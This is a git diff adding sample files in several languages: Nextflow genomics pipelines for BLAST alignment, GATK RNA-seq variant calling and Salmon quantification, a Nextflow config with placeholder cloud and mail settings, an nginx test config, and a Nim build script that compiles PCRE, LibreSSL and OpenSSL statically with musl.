+ * In jurisdictions that recognize copyright laws, the author or authors
+ * of this software dedicate any and all copyright interest in the
+ * software to the public domain. We make this dedication for the benefit
+ * of the public at large and to the detriment of our heirs and
+ * successors. We intend this dedication to be an overt act of
+ * relinquishment in perpetuity of all present and future rights to this
+ * software under copyright law.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+ * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+ * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+ * OTHER DEALINGS IN THE SOFTWARE.
+ * 
+ * For more information, please refer to <http://unlicense.org/>
+ */
+ 
+/* 
+ * Author Paolo Di Tommaso <paolo.ditommaso@gmail.com>
+ */
+
+
+params.query = "$HOME/sample.fa"
+params.db = "$HOME/tools/blast-db/pdb/pdb"
+
+process blast {
+    output:
+     file top_hits
+
+    """
+    blastp -query ${params.query} -db ${params.db} -outfmt 6 \
+    | head -n 10 \
+    | cut -f 2 > top_hits
+    """
+}
+
+process extract {
+    input:
+     file top_hits
+    output:
+     file sequences
+
+    """
+    blastdbcmd -db ${params.db} -entry_batch $top_hits > sequences
+    """
+}
+
+process align {
+    input:
+     file sequences
+    echo true
+
+    """
+    t_coffee $sequences 2>&- | tee align_result
+    """
+}
diff --git a/samples/Nextflow/callings.nf b/samples/Nextflow/callings.nf
new file mode 100755
index 0000000000..3c4b60f304
--- /dev/null
+++ b/samples/Nextflow/callings.nf
@@ -0,0 +1,496 @@
+#!/usr/bin/env nextflow
+/*
+ * This is free and unencumbered software released into the public domain.
+ * 
+ * Anyone is free to copy, modify, publish, use, compile, sell, or
+ * distribute this software, either in source code form or as a compiled
+ * binary, for any purpose, commercial or non-commercial, and by any
+ * means.
+ * 
+ * In jurisdictions that recognize copyright laws, the author or authors
+ * of this software dedicate any and all copyright interest in the
+ * software to the public domain. We make this dedication for the benefit
+ * of the public at large and to the detriment of our heirs and
+ * successors. We intend this dedication to be an overt act of
+ * relinquishment in perpetuity of all present and future rights to this
+ * software under copyright law.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+ * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+ * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+ * OTHER DEALINGS IN THE SOFTWARE.
+ * 
+ * For more information, please refer to <http://unlicense.org/>
+ */
+  
+  
+/* 
+ * 'CalliNGS-NF' - A Nextflow pipeline for variant calling with NGS data
+ * 
+ * This pipeline that reproduces steps from the GATK best practics of SNP 
+ * calling with RNAseq data procedure:
+ * https://software.broadinstitute.org/gatk/guide/article?id=3891
+ * 
+ * Anna Vlasova 
+ * Emilio Palumbo 
+ * Paolo Di Tommaso
+ * Evan Floden 
+ */
+
+
+/*
+ * Define the default parameters
+ */ 
+
+params.genome     = "$baseDir/data/genome.fa"
+params.variants   = "$baseDir/data/known_variants.vcf.gz"
+params.blacklist  = "$baseDir/data/blacklist.bed" 
+params.reads      = "$baseDir/data/reads/rep1_{1,2}.fq.gz"
+params.results    = "results"
+params.gatk       = '/usr/local/bin/GenomeAnalysisTK.jar'
+params.gatk_launch = "java -jar $params.gatk" 
+
+log.info "C A L L I N G S  -  N F    v 1.0" 
+log.info "================================"
+log.info "genome   : $params.genome"
+log.info "reads    : $params.reads"
+log.info "variants : $params.variants"
+log.info "blacklist: $params.blacklist"
+log.info "results  : $params.results" 
+log.info "gatk     : $params.gatk"
+log.info ""
+
+/*
+ *  Parse the input parameters
+ */
+
+GATK            = params.gatk_launch
+genome_file     = file(params.genome)
+variants_file   = file(params.variants)
+blacklist_file  = file(params.blacklist)
+reads_ch        = Channel.fromFilePairs(params.reads)
+
+
+/**********
+ * PART 1: Data preparation
+ *
+ * Process 1A: Create a FASTA genome index (.fai) with samtools for GATK
+ */
+
+process '1A_prepare_genome_samtools' { 
+  tag "$genome.baseName"
+  
+  input: 
+      file genome from genome_file 
+ 
+  output: 
+      file "${genome}.fai" into genome_index_ch  
+  
+  script:
+  """
+  samtools faidx ${genome}
+  """
+}
+
+
+/*
+ * Process 1B: Create a FASTA genome sequence dictionary with Picard for GATK
+ */
+
+process '1B_prepare_genome_picard' {
+  tag "$genome.baseName"
+
+  input:
+      file genome from genome_file
+  output:
+      file "${genome.baseName}.dict" into genome_dict_ch
+
+  script:
+  """
+  PICARD=`which picard.jar`
+  java -jar \$PICARD CreateSequenceDictionary R= $genome O= ${genome.baseName}.dict
+  """
+}
+
+
+/*
+ * Process 1C: Create STAR genome index file.
+ */
+
+process '1C_prepare_star_genome_index' {
+  tag "$genome.baseName"
+
+  input:
+      file genome from genome_file
+  output:
+      file "genome_dir" into genome_dir_ch
+
+  script:
+  """
+  mkdir genome_dir
+
+  STAR --runMode genomeGenerate \
+       --genomeDir genome_dir \
+       --genomeFastaFiles ${genome} \
+       --runThreadN ${task.cpus}
+  """
+}
+
+
+/*
+ * Process 1D: Create a file containing the filtered and recoded set of variants
+ */
+
+process '1D_prepare_vcf_file' {
+  tag "$variantsFile.baseName"
+
+  input: 
+      file variantsFile from variants_file
+      file blacklisted from blacklist_file
+
+  output:
+      set file("${variantsFile.baseName}.filtered.recode.vcf.gz"), file("${variantsFile.baseName}.filtered.recode.vcf.gz.tbi") into prepared_vcf_ch
+  
+  script:  
+  """
+  vcftools --gzvcf $variantsFile -c \
+           --exclude-bed ${blacklisted} \
+           --recode | bgzip -c \
+           > ${variantsFile.baseName}.filtered.recode.vcf.gz
+
+  tabix ${variantsFile.baseName}.filtered.recode.vcf.gz
+  """
+}
+
+/*
+ *  END OF PART 1
+ *********/
+
+
+
+/**********
+ * PART 2: STAR RNA-Seq Mapping
+ *
+ * Process 2: Align RNA-Seq reads to the genome with STAR
+ */
+
+process '2_rnaseq_mapping_star' {
+  tag "$replicateId"
+
+  input: 
+      file genome from genome_file 
+      file genomeDir from genome_dir_ch
+      set replicateId, file(reads) from reads_ch 
+
+  output: 
+      set replicateId, file('Aligned.sortedByCoord.out.bam'), file('Aligned.sortedByCoord.out.bam.bai') into aligned_bam_ch
+
+  script:    
+  """
+  # ngs-nf-dev Align reads to genome
+  STAR --genomeDir $genomeDir \
+       --readFilesIn $reads \
+       --runThreadN ${task.cpus} \
+       --readFilesCommand zcat \
+       --outFilterType BySJout \
+       --alignSJoverhangMin 8 \
+       --alignSJDBoverhangMin 1 \
+       --outFilterMismatchNmax 999
+    
+  # 2nd pass (improve alignmets using table of splice junctions and create a new index)  
+  mkdir genomeDir  
+  STAR --runMode genomeGenerate \
+       --genomeDir genomeDir \
+       --genomeFastaFiles $genome \
+       --sjdbFileChrStartEnd SJ.out.tab \
+       --sjdbOverhang 75 \
+       --runThreadN ${task.cpus}  
+    
+  # Final read alignments  
+  STAR --genomeDir genomeDir \
+       --readFilesIn $reads \
+       --runThreadN ${task.cpus} \
+       --readFilesCommand zcat \
+       --outFilterType BySJout \
+       --alignSJoverhangMin 8 \
+       --alignSJDBoverhangMin 1 \
+       --outFilterMismatchNmax 999 \
+       --outSAMtype BAM SortedByCoordinate \
+       --outSAMattrRGline ID:$replicateId LB:library PL:illumina PU:machine SM:GM12878
+
+  # Index the BAM file
+  samtools index Aligned.sortedByCoord.out.bam
+  """
+}
+
+/*
+ *  END OF PART 2
+ ******/
+
+
+/**********
+ * PART 3: GATK Prepare Mapped Reads
+ *
+ * Process 3: Split reads that contain Ns in their CIGAR string.
+ *            Creates k+1 new reads (where k is the number of N cigar elements) 
+ *            that correspond to the segments of the original read beside/between 
+ *            the splicing events represented by the Ns in the original CIGAR.
+ */
+
+process '3_rnaseq_gatk_splitNcigar' {
+  tag "$replicateId"
+  
+  input: 
+      file genome from genome_file 
+      file index from genome_index_ch
+      file genome_dict from genome_dict_ch
+      set replicateId, file(bam), file(index) from aligned_bam_ch
+
+  output:
+      set replicateId, file('split.bam'), file('split.bai') into splitted_bam_ch
+  
+  script:
+  """
+  # SplitNCigarReads and reassign mapping qualities
+  $GATK -T SplitNCigarReads \
+          -R $genome -I $bam \
+          -o split.bam \
+          -rf ReassignOneMappingQuality \
+          -RMQF 255 -RMQT 60 \
+          -U ALLOW_N_CIGAR_READS \
+          --fix_misencoded_quality_scores
+  """
+}
+
+/*
+ *  END OF PART 3
+ ******/
+
+
+/***********
+ * PART 4: GATK Base Quality Score Recalibration Workflow
+ *
+ * Process 4: Base recalibrate to detect systematic errors in base quality scores, 
+ *            select unique alignments and index
+ *             
+ */
+
+process '4_rnaseq_gatk_recalibrate' {
+  tag "$replicateId"
+    
+  input: 
+      file genome from genome_file 
+      file index from genome_index_ch
+      file dict from genome_dict_ch
+      set replicateId, file(bam), file(index) from splitted_bam_ch
+      set file(variants_file), file(variants_file_index) from prepared_vcf_ch
+
+  output:
+      set sampleId, file("${replicateId}.final.uniq.bam"), file("${replicateId}.final.uniq.bam.bai") into (final_output_ch, bam_for_ASE_ch)
+  
+  script: 
+  sampleId = replicateId.replaceAll(/[12]$/,'')
+  """
+  # Indel Realignment and Base Recalibration
+  $GATK -T BaseRecalibrator \
+          --default_platform illumina \
+          -cov ReadGroupCovariate \
+          -cov QualityScoreCovariate \
+          -cov CycleCovariate \
+          -knownSites ${variants_file} \
+          -cov ContextCovariate \
+          -R ${genome} -I ${bam} \
+          --downsampling_type NONE \
+          -nct ${task.cpus} \
+          -o final.rnaseq.grp 
+
+  $GATK -T PrintReads \
+          -R ${genome} -I ${bam} \
+          -BQSR final.rnaseq.grp \
+          -nct ${task.cpus} \
+          -o final.bam
+
+  # Select only unique alignments, no multimaps
+  (samtools view -H final.bam; samtools view final.bam| grep -w 'NH:i:1') \
+  |samtools view -Sb -  > ${replicateId}.final.uniq.bam
+
+  # Index BAM files
+  samtools index ${replicateId}.final.uniq.bam
+  """
+}
+
+/*
+ *  END OF PART 4
+ ******/
+
+
+
+/***********
+ * PART 5: GATK Variant Calling
+ *
+ * Process 5: Call variants with GATK HaplotypeCaller.
+ *            Calls SNPs and indels simultaneously via local de-novo assembly of 
+ *            haplotypes in an active region.
+ *            Filter called variants with GATK VariantFiltration.    
+ */
+
+
+process '5_rnaseq_call_variants' {
+  tag "$sampleId"
+
+  input:
+      file genome from genome_file
+      file index from genome_index_ch
+      file dict from genome_dict_ch
+      set sampleId, file(bam), file(bai) from final_output_ch.groupTuple()
+  
+  output: 
+      set sampleId, file('final.vcf') into vcf_files
+
+  script:
+  """
+  # fix absolute path in dict file
+  sed -i 's@UR:file:.*${genome}@UR:file:${genome}@g' $dict
+  echo "${bam.join('\n')}" > bam.list
+  
+  # Variant calling
+  $GATK -T HaplotypeCaller \
+          -R $genome -I bam.list \
+          -dontUseSoftClippedBases \
+          -stand_call_conf 20.0 \
+          -o output.gatk.vcf.gz
+
+  # Variant filtering
+  $GATK -T VariantFiltration \
+          -R $genome -V output.gatk.vcf.gz \
+          -window 35 -cluster 3 \
+          -filterName FS -filter "FS > 30.0" \
+          -filterName QD -filter "QD < 2.0" \
+          -o final.vcf
+  """
+}
+
+/*
+ *  END OF PART 5
+ ******/
+
+
+/***********
+ * PART 6: Post-process variants file and prepare for Allele-Specific Expression and RNA Editing Analysis
+ *
+ * Process 6A: Post-process the VCF result  
+ */
+
+process '6A_post_process_vcf' {
+  tag "$sampleId"
+  publishDir "$params.results/$sampleId" 
+  
+  input:
+      set sampleId, file('final.vcf') from vcf_files
+      set file('filtered.recode.vcf.gz'), file('filtered.recode.vcf.gz.tbi') from prepared_vcf_ch 
+  output: 
+      set sampleId, file('final.vcf'), file('commonSNPs.diff.sites_in_files') into vcf_and_snps_ch
+  
+  script:
+  '''
+  grep -v '#' final.vcf | awk '$7~/PASS/' |perl -ne 'chomp($_); ($dp)=$_=~/DP\\=(\\d+)\\;/; if($dp>=8){print $_."\\n"};' > result.DP8.vcf
+  
+  vcftools --vcf result.DP8.vcf --gzdiff filtered.recode.vcf.gz  --diff-site --out commonSNPs
+  '''
+}
+
+/* 
+ * Process 6B: Prepare variants file for allele specific expression (ASE) analysis
+ */
+
+process '6B_prepare_vcf_for_ase' {
+  tag "$sampleId"
+  publishDir "$params.results/$sampleId" 
+  
+  input: 
+      set sampleId, file('final.vcf'), file('commonSNPs.diff.sites_in_files') from vcf_and_snps_ch
+  output: 
+      set sampleId, file('known_snps.vcf') into vcf_for_ASE
+      file('AF.histogram.pdf') into gghist_pdfs
+
+  script:
+  '''
+  awk 'BEGIN{OFS="\t"} $4~/B/{print $1,$2,$3}' commonSNPs.diff.sites_in_files  > test.bed
+    
+  vcftools --vcf final.vcf --bed test.bed --recode --keep-INFO-all --stdout > known_snps.vcf
+
+  grep -v '#'  known_snps.vcf | awk -F '\\t' '{print $10}' \
+               |awk -F ':' '{print $2}'|perl -ne 'chomp($_); \
+               @v=split(/\\,/,$_); if($v[0]!=0 ||$v[1] !=0)\
+               {print  $v[1]/($v[1]+$v[0])."\\n"; }' |awk '$1!=1' \
+               >AF.4R
+
+  gghist.R -i AF.4R -o AF.histogram.pdf
+  '''
+}
+
+
+/* 
+ * Group data for allele-specific expression.
+ * 
+ * The `bam_for_ASE_ch` emites tuples having the following structure, holding the final BAM/BAI files:
+ *  
+ *   ( sample_id, file_bam, file_bai )
+ * 
+ * The `vcf_for_ASE` channel emits tuples having the following structure, holding the VCF file:
+ *  
+ *   ( sample_id, output.vcf ) 
+ * 
+ * The BAMs are grouped together and merged with VCFs having the same sample id. Finally 
+ * it creates a channel named `grouped_vcf_bam_bai_ch` emitting the following tuples: 
+ *  
+ *   ( sample_id, file_vcf, List[file_bam], List[file_bai] )
+ */
+
+bam_for_ASE_ch
+    .groupTuple()
+    .phase(vcf_for_ASE)
+    .map{ left, right -> 
+      def sampleId = left[0]
+      def bam = left[1]
+      def bai = left[2]
+      def vcf = right[1]
+      tuple(sampleId, vcf, bam, bai)  
+    }
+    .set { grouped_vcf_bam_bai_ch }
+
+
+/* 
+ * Process 6C: Allele-Specific Expression analysis with GATK ASEReadCounter.
+ *             Calculates allele counts at a set of positions after applying 
+ *             filters that are tuned for enabling allele-specific expression 
+ *             (ASE) analysis
+ */
+
+process '6C_ASE_knownSNPs' {
+  tag "$sampleId"
+  publishDir "$params.results/$sampleId" 
+  
+  input:
+      file genome from genome_file 
+      file index from genome_index_ch
+      file dict from genome_dict_ch
+      set sampleId, file(vcf),  file(bam), file(bai) from grouped_vcf_bam_bai_ch
+  
+  output:
+      file "ASE.tsv"
+  
+  script:
+  """
+  echo "${bam.join('\n')}" > bam.list
+    
+  $GATK -R ${genome} \
+          -T ASEReadCounter \
+          -o ASE.tsv \
+          -I bam.list \
+          -sites ${vcf}
+  """
+}
diff --git a/samples/Nextflow/filenames/nextflow.config b/samples/Nextflow/filenames/nextflow.config
new file mode 100644
index 0000000000..b9f59b8e63
--- /dev/null
+++ b/samples/Nextflow/filenames/nextflow.config
@@ -0,0 +1,50 @@
+aws {
+   region = 'eu-west-1'
+}
+
+cloud {
+   autoscale {
+      enabled = true
+      minInstances = 3
+      starvingTimeout = '2 min'
+      terminateWhenIdle = true
+   }
+   imageId = 'ami-78ds78d'
+   instanceProfile = 'MyRole'
+   instanceType = 'r4.large'
+   sharedStorageId = 'fs-76ds76s'
+   spotPrice = 0.06
+   subnetId = 'subnet-8d98d7s'
+}
+
+env {
+   BAR = 'world'
+   FOO = 'hola'
+}
+
+mail {
+   from = 'paolo.ditommaso@gmail.com'
+   smtp {
+      auth = true
+      host = 'email-smtp.us-east-1.amazonaws.com'
+      password = 'my-secret'
+      port = 587
+      starttls {
+         enable = true
+         required = true
+      }
+      user = 'my-name'
+   }
+}
+
+process {
+   executor = 'slurm'
+   queue = 'cn-el7'
+   memory = '16GB'
+   cpus = 8
+   container = 'user/rnaseq-nf:latest'
+}
+
+trace {
+   fields = 'task_id,name,status,attempt,exit,queue'
+}
diff --git a/samples/Nextflow/rnaseq.nf b/samples/Nextflow/rnaseq.nf
new file mode 100644
index 0000000000..c493de8e3f
--- /dev/null
+++ b/samples/Nextflow/rnaseq.nf
@@ -0,0 +1,135 @@
+#!/usr/bin/env nextflow
+/*
+ * This is free and unencumbered software released into the public domain.
+ * 
+ * Anyone is free to copy, modify, publish, use, compile, sell, or
+ * distribute this software, either in source code form or as a compiled
+ * binary, for any purpose, commercial or non-commercial, and by any
+ * means.
+ * 
+ * In jurisdictions that recognize copyright laws, the author or authors
+ * of this software dedicate any and all copyright interest in the
+ * software to the public domain. We make this dedication for the benefit
+ * of the public at large and to the detriment of our heirs and
+ * successors. We intend this dedication to be an overt act of
+ * relinquishment in perpetuity of all present and future rights to this
+ * software under copyright law.
+ * 
+ * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND,
+ * EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
+ * MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT.
+ * IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR
+ * OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE,
+ * ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR
+ * OTHER DEALINGS IN THE SOFTWARE.
+ * 
+ * For more information, please refer to <http://unlicense.org/>
+ */
+ 
+  
+/* 
+ * Proof of concept of a RNAseq pipeline implemented with Nextflow
+ * 
+ * Authors:
+ * - Paolo Di Tommaso <paolo.ditommaso@gmail.com>
+ * - Emilio Palumbo <emiliopalumbo@gmail.com> 
+ * - Evan Floden <evanfloden@gmail.com> 
+ */ 
+
+ 
+params.reads = "$baseDir/data/ggal/*_{1,2}.fq"
+params.transcriptome = "$baseDir/data/ggal/ggal_1_48850000_49020000.Ggal71.500bpflank.fa"
+params.outdir = "."
+params.multiqc = "$baseDir/multiqc"
+
+log.info """\
+         R N A S E Q - N F   P I P E L I N E    
+         ===================================
+         transcriptome: ${params.transcriptome}
+         reads        : ${params.reads}
+         outdir       : ${params.outdir}
+         """
+         .stripIndent()
+
+
+transcriptome_file = file(params.transcriptome)
+multiqc_file = file(params.multiqc)
+ 
+
+Channel
+    .fromFilePairs( params.reads )
+    .ifEmpty { error "Cannot find any reads matching: ${params.reads}" }
+    .into { read_pairs_ch; read_pairs2_ch } 
+ 
+
+process index {
+    tag "$transcriptome_file.simpleName"
+    
+    input:
+    file transcriptome from transcriptome_file
+     
+    output:
+    file 'index' into index_ch
+
+    script:       
+    """
+    salmon index --threads $task.cpus -t $transcriptome -i index
+    """
+}
+ 
+ 
+process quant {
+    tag "$pair_id"
+     
+    input:
+    file index from index_ch
+    set pair_id, file(reads) from read_pairs_ch
+ 
+    output:
+    file(pair_id) into quant_ch
+ 
+    script:
+    """
+    salmon quant --threads $task.cpus --libType=U -i index -1 ${reads[0]} -2 ${reads[1]} -o $pair_id
+    """
+}
+  
+process fastqc {
+    tag "FASTQC on $sample_id"
+
+    input:
+    set sample_id, file(reads) from read_pairs2_ch
+
+    output:
+    file("fastqc_${sample_id}_logs") into fastqc_ch
+
+
+    script:
+    """
+    mkdir fastqc_${sample_id}_logs
+    fastqc -o fastqc_${sample_id}_logs -f fastq -q ${reads}
+    """  
+}  
+  
+  
+process multiqc {
+    publishDir params.outdir, mode:'copy'
+       
+    input:
+    file('*') from quant_ch.mix(fastqc_ch).collect()
+    file(config) from multiqc_file
+    
+    output:
+    file('multiqc_report.html')  
+     
+    script:
+    """
+    cp $config/* .
+    echo "custom_logo: \$PWD/logo.png" >> multiqc_config.yaml
+    multiqc . 
+    """
+}
+ 
+workflow.onComplete { 
+	println ( workflow.success ? "\nDone! Open the following report in your browser --> $params.outdir/multiqc_report.html\n" : "Oops .. something went wrong" )
+}
\ No newline at end of file
diff --git a/samples/Nginx/sample.nginx b/samples/Nginx/sample.nginx
new file mode 100644
index 0000000000..75b01a05c4
--- /dev/null
+++ b/samples/Nginx/sample.nginx
@@ -0,0 +1,55 @@
+http {
+    server {
+        listen  15001 default_server;
+
+        location ^~ /proxy1 {
+            proxy_pass http://127.0.0.1:15002/;
+        }
+
+        location ^~ /proxy2 {
+            proxy_pass http://127.0.0.1:15002;
+        }
+
+        location ^~ /badproxy {
+            proxy_pass http://127.0.0.1:25002/;
+        }
+
+        location / {
+            index index.html;
+            root testdata;
+        }
+
+        location ^~ /alias/ {
+            alias nginxconf;
+        }
+
+        location /hello {
+            echo "hello, I'am bingoohuang";
+        }
+
+        location /json1 {
+            default_type application/json;
+            return 200 '"result":"hello world!"}';
+            echo '{"status":"success",';
+        }
+
+        location /json2 {
+            default_type application/json;
+            echo '{"status":"success","result":"hello world!"}';
+        }
+    }
+
+    server {
+        listen  15002 default_server;
+        location / {
+            echo "hello, $request";
+        }
+        location /demo {
+            echo $request;
+        }
+    }
+
+    server {
+        listen  15003;
+    }
+}
diff --git a/samples/Nim/config.nims b/samples/Nim/config.nims
new file mode 100644
index 0000000000..d39b007508
--- /dev/null
+++ b/samples/Nim/config.nims
@@ -0,0 +1,274 @@
+# from https://github.com/kaushalmodi/nim_config/blob/master/config.nims
+
+from macros import error
+from ospaths import `/`, splitPath, splitFile
+from strutils import `%`
+from sequtils import filterIt
+from strutils import endsWith
+
+## Switches
+switch("nep1", "on")
+
+## Constants
+const
+  doOptimize = true
+
+## Lets
+let
+  root = projectDir() # projectDir() needs nim 0.20.0 (or nim devel as of Tue Oct 16 08:41:09 EDT 2018)
+  (_, pkgName) = root.splitPath()
+  srcFile = root / "src" / (pkgName & ".nim")
+  # pcre
+  pcreVersion = getEnv("PCREVER", "8.42")
+  pcreSourceDir = "pcre-" & pcreVersion
+  pcreArchiveFile = pcreSourceDir & ".tar.bz2"
+  pcreDownloadLink = "https://downloads.sourceforge.net/pcre/" & pcreArchiveFile
+  pcreInstallDir = (root / "pcre/") & pcreVersion
+  # http://www.linuxfromscratch.org/blfs/view/8.1/general/pcre.html
+  pcreConfigureCmd = ["./configure", "--prefix=" & pcreInstallDir, "--enable-pcre16", "--enable-pcre32", "--disable-shared"]
+  pcreIncludeDir = pcreInstallDir / "include"
+  pcreLibDir = pcreInstallDir / "lib"
+  pcreLibFile = pcreLibDir / "libpcre.a"
+  # libressl
+  libreSslVersion = getEnv("LIBRESSLVER", "2.8.1")
+  libreSslSourceDir = "libressl-" & libreSslVersion
+  libreSslArchiveFile = libreSslSourceDir & ".tar.gz"
+  libreSslDownloadLink = "https://ftp.openbsd.org/pub/OpenBSD/LibreSSL/" & libreSslArchiveFile
+  libreSslInstallDir = (root / "libressl/") & libreSslVersion
+  libreSslConfigureCmd = ["./configure", "--disable-shared", "--prefix=" & libreSslInstallDir]
+  libreSslLibDir = libreSslInstallDir / "lib"
+  libreSslLibFile = libreSslLibDir / "libssl.a"
+  libreCryptoLibFile = libreSslLibDir / "libcrypto.a"
+  libreSslIncludeDir = libreSslInstallDir / "include/openssl"
+  # openssl
+  openSslSeedConfigOsCompiler = "linux-x86_64"
+  openSslVersion = getEnv("OPENSSLVER", "1.1.1")
+  openSslSourceDir = "openssl-" & openSslVersion
+  openSslArchiveFile = openSslSourceDir & ".tar.gz"
+  openSslDownloadLink = "https://www.openssl.org/source/" & openSslArchiveFile
+  openSslInstallDir = (root / "openssl/") & openSslVersion
+  # "no-async" is needed for openssl to compile using musl
+  #   - https://gitter.im/nim-lang/Nim?at=5bbf75c3ae7be940163cc198
+  #   - https://www.openwall.com/lists/musl/2016/02/04/5
+  # -DOPENSSL_NO_SECURE_MEMORY is needed to make openssl compile using musl.
+  #   - https://github.com/openssl/openssl/issues/7207#issuecomment-420814524
+  openSslConfigureCmd = ["./Configure", openSslSeedConfigOsCompiler, "no-shared", "no-zlib", "no-async", "-fPIC", "-DOPENSSL_NO_SECURE_MEMORY", "--prefix=" & openSslInstallDir]
+  openSslLibDir = openSslInstallDir / "lib"
+  openSslLibFile = openSslLibDir / "libssl.a"
+  openCryptoLibFile = openSslLibDir / "libcrypto.a"
+  openSslIncludeDir = openSslInstallDir / "include/openssl"
+
+## Helper Procs
+# https://github.com/kaushalmodi/elnim
+proc dollar[T](s: T): string =
+  result = $s
+proc mapconcat[T](s: openArray[T]; sep = " "; op: proc(x: T): string = dollar): string =
+  ## Concatenate elements of ``s`` after applying ``op`` to each element.
+  ## Separate each element using ``sep``.
+  for i, x in s:
+    result.add(op(x))
+    if i < s.len-1:
+      result.add(sep)
+
+proc binOptimize(binFile: string) =
+  ## Optimize size of the ``binFile`` binary.
+  echo ""
+  if findExe("strip") != "":
+    echo "Running 'strip -s' .."
+    exec "strip -s " & binFile
+  if findExe("upx") != "":
+    # https://github.com/upx/upx/releases/
+    echo "Running 'upx --best' .."
+    exec "upx --best " & binFile
+
+## Tasks
+task installPcre, "Installs PCRE using musl-gcc":
+  if not existsFile(pcreLibFile):
+    if not existsDir(pcreSourceDir):
+      if not existsFile(pcreArchiveFile):
+        exec("curl -LO " & pcreDownloadLink)
+      exec("tar xf " & pcreArchiveFile)
+    else:
+      echo "PCRE lib source dir " & pcreSourceDir & " already exists"
+    withDir pcreSourceDir:
+      putEnv("CC", "musl-gcc -static")
+      exec(pcreConfigureCmd.mapconcat())
+      exec("make -j8")
+      exec("make install")
+  else:
+    echo pcreLibFile & " already exists"
+  setCommand("nop")
+
+task installLibreSsl, "Installs LIBRESSL using musl-gcc":
+  if (not existsFile(libreSslLibFile)) or (not existsFile(libreCryptoLibFile)):
+    if not existsDir(libreSslSourceDir):
+      if not existsFile(libreSslArchiveFile):
+        exec("curl -LO " & libreSslDownloadLink)
+      exec("tar xf " & libreSslArchiveFile)
+    else:
+      echo "LibreSSL lib source dir " & libreSslSourceDir & " already exists"
+    withDir libreSslSourceDir:
+      #  -idirafter /usr/include/ # Needed for linux/sysctl.h
+      #  -idirafter /usr/include/x86_64-linux-gnu/ # Needed for Travis/Ubuntu build to pass, for asm/types.h
+      putEnv("CC", "musl-gcc -static -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/")
+      putEnv("C_INCLUDE_PATH", libreSslIncludeDir)
+      exec(libreSslConfigureCmd.mapconcat())
+      exec("make -j8 -C crypto") # build just the "crypto" component
+      exec("make -j8 -C ssl")    # build just the "ssl" component
+      exec("make -C crypto install")
+      exec("make -C ssl install")
+  else:
+    echo libreSslLibFile & " already exists"
+  setCommand("nop")
+
+task installOpenSsl, "Installs OPENSSL using musl-gcc":
+  if (not existsFile(openSslLibFile)) or (not existsFile(openCryptoLibFile)):
+    if not existsDir(openSslSourceDir):
+      if not existsFile(openSslArchiveFile):
+        exec("curl -LO " & openSslDownloadLink)
+      exec("tar xf " & openSslArchiveFile)
+    else:
+      echo "OpenSSL lib source dir " & openSslSourceDir & " already exists"
+    withDir openSslSourceDir:
+      # https://gcc.gnu.org/onlinedocs/gcc/Directory-Options.html
+      #  -idirafter /usr/include/ # Needed for Travis/Ubuntu build to pass, for linux/version.h, etc.
+      #  -idirafter /usr/include/x86_64-linux-gnu/ # Needed for Travis/Ubuntu build to pass, for asm/types.h
+      putEnv("CC", "musl-gcc -static -idirafter /usr/include/ -idirafter /usr/include/x86_64-linux-gnu/")
+      putEnv("C_INCLUDE_PATH", openSslIncludeDir)
+      exec(openSslConfigureCmd.mapconcat())
+      echo "The insecure switch -DOPENSSL_NO_SECURE_MEMORY is needed so that OpenSSL can be compiled using MUSL."
+      exec("make -j8 depend")
+      exec("make -j8")
+      exec("make install_sw")
+  else:
+    echo openSslLibFile & " already exists"
+  setCommand("nop")
+
+# nim musl foo.nim
+task musl, "Builds an optimized static binary using musl":
+  ## Usage: nim musl [-d:pcre] [-d:libressl|-d:openssl] <FILE1> <FILE2> ..
+  var
+    switches: seq[string]
+    nimFiles: seq[string]
+  let
+    numParams = paramCount()
+
+  when defined(libressl) and defined(openssl):
+    error("Define only 'libressl' or 'openssl', not both.")
+
+  # param 0 will always be "nim"
+  # param 1 will always be "musl"
+  for i in 2 .. numParams:
+    if paramStr(i)[0] == '-':    # -d:foo or --define:foo
+      switches.add(paramStr(i))
+    else:
+      # Non-switch parameters are assumed to be Nim file names.
+      nimFiles.add(paramStr(i))
+
+  if nimFiles.len == 0:
+    error(["The 'musl' sub-command accepts at least one Nim file name",
+           "  Examples: nim musl FILE.nim",
+           "            nim musl FILE1.nim FILE2.nim",
+           "            nim musl -d:pcre FILE.nim",
+           "            nim musl -d:libressl FILE.nim",
+           "            nim musl -d:pcre -d:openssl FILE.nim"].mapconcat("\n"))
+
+  for f in nimFiles:
+    let
+      extraSwitches = switches.mapconcat()
+      (dirName, baseName, _) = splitFile(f)
+      binFile = dirName / baseName  # Save the binary in the same dir as the nim file
+      nimArgsArray = when doOptimize:
+                       ["c", "-d:musl", "-d:release", "--opt:size", extraSwitches, f]
+                     else:
+                       ["c", "-d:musl", extraSwitches, f]
+      nimArgs = nimArgsArray.mapconcat()
+    # echo "[debug] f = " & f & ", binFile = " & binFile
+
+    # Build binary
+    echo "\nRunning 'nim " & nimArgs & "' .."
+    selfExec nimArgs
+
+    when doOptimize:
+      # Optimize binary
+      binOptimize(binFile)
